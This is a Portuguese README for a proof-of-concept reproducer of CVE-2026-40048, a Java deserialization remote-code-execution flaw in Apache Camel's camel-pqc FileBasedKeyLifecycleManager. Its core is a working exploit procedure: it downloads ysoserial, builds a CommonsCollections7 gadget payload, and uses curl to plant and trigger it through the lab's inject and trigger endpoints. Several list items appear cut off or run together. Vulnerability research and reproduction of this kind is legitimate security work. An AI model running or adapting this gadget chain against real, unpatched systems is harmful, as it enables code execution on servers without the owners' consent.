
Reprodutor para CVE-2026-40048: Desserialização insegura do Apache Camel camel-pqc FileBasedKeyLifecycleManager (RCE)
Este projeto demonstra uma vulnerabilidade de desserialização Java no componente camel-pqc do Apache Camel, registrada como CVE-2026-40048. O FileBasedKeyLifecycleManager lê arquivos <keyId>.key do diretório de chaves configurado com um ObjectInputStream bruto e sem ObjectInputFilter, portanto um atacante que possa escrever nesse diretório pode alcançar execução remota de código.
Advisory: https://camel.apache.org/security/CVE-2026-40048.html
| Propriedade | Valor |
|---|
| Componente | camel-pqc |
| Classe Afetada | org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey) |
| CWE | CWE-502: Desserialização de Dados Não Confiáveis |
| Impacto | Execução Remota de Código (RCE) |
| Versões Afetadas | From 4.18.0 before 4.18.2, and from 4.19.0 before 4.20.0 |
| Versões Corrigidas | 4.18.2, 4.20.0 |
| JIRA | CAMEL-23200 |
| Relatores | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) |
O FileBasedKeyLifecycleManager persiste chaves pós-quânticas como objetos Java serializados em
<keyDir>/<keyId>.key. Carregar uma chave desserializa esse arquivo com um ObjectInputStream bruto, e a conversão para
KeyPair ocorre apenas após o retorno de readObject():
// FileBasedKeyLifecycleManager.getKey(keyId) - versão afetada
Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
KeyPair keyPair = (KeyPair) ois.readObject(); // NENHUM ObjectInputFilter — o gadget é executado antes da conversão
...
}
Um atacante que possa escrever no diretório de chaves — via path traversal, permissões de volume mal configuradas, um pipeline de provisionamento de chaves comprometido ou um ataque de symlink — pode plantar um objeto serializado manipulado que é executado durante um carregamento normal do ciclo de vida da chave.
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Prova benigna: criar /tmp/pwned. No JDK 21, adicione --add-opens para gerar gadgets CC:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
<keyId>.keycurl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# escreve os bytes em /tmp/pqc-keys/mykey.key dentro do contêiner
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executa
# -> ">>> RCE proof — /tmp/pwned exists: true"
docker exec cve-2026-40048 ls -la /tmp/pwned
docker compose down
getKey() é chamado durante operações normais do ciclo de vida da chave (recuperação de chave de assinatura/verificação,
verificações de rotação, etc.), portanto qualquer carregamento de um <keyId>.key plantado pelo atacante
dispara a desserialização.
FileBasedKeyLifecycleManager (volume compartilhado/mal configurado,
path traversal, provisionamento comprometido, symlink).commons-collections:3.2.1).O padrão ObjectInputStream-em-armazenamento-de-chaves foi tratado mais amplamente posteriormente:
Atualize para 4.18.2 / 4.20.0. A correção substitui o armazenamento baseado em ObjectInputStream pela codificação JSON Base64 padrão PKCS#8
(chave privada) / X.509 SubjectPublicKeyInfo (chave pública).
Até a atualização:
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ └── ExploitController.java # /inject (plantar .key), /trigger (getKey -> RCE), /cleanup
└── resources/
└── application.properties
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.